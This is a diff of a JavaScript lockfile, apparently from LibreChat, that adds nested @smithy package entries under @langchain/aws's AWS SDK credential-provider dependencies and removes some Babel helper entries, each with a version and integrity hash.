"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8579,6 +8271,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -8595,6 +8289,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-ini/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -8605,10 +8301,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-process/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8651,6 +8353,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -8667,6 +8371,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/client-sso/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -8677,10 +8383,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-sso/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
@@ -8691,10 +8403,16 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/node-config-provider": ["@smithy/node-config-provider@4.3.4", "", { "dependencies": { "@smithy/property-provider": "^4.2.4", "@smithy/shared-ini-file-loader": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3X3w7qzmo4XNNdPKNS4nbJcGSwiEMsNsRSunMA92S4DJLLIrH5g1AyuOA2XKM9PAPi8mIWfqC+fnfKNsI4KvHw=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/core/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.922.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA=="],
@@ -8737,6 +8455,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="],
@@ -8753,6 +8473,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="],
@@ -8761,387 +8483,33 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="],
-
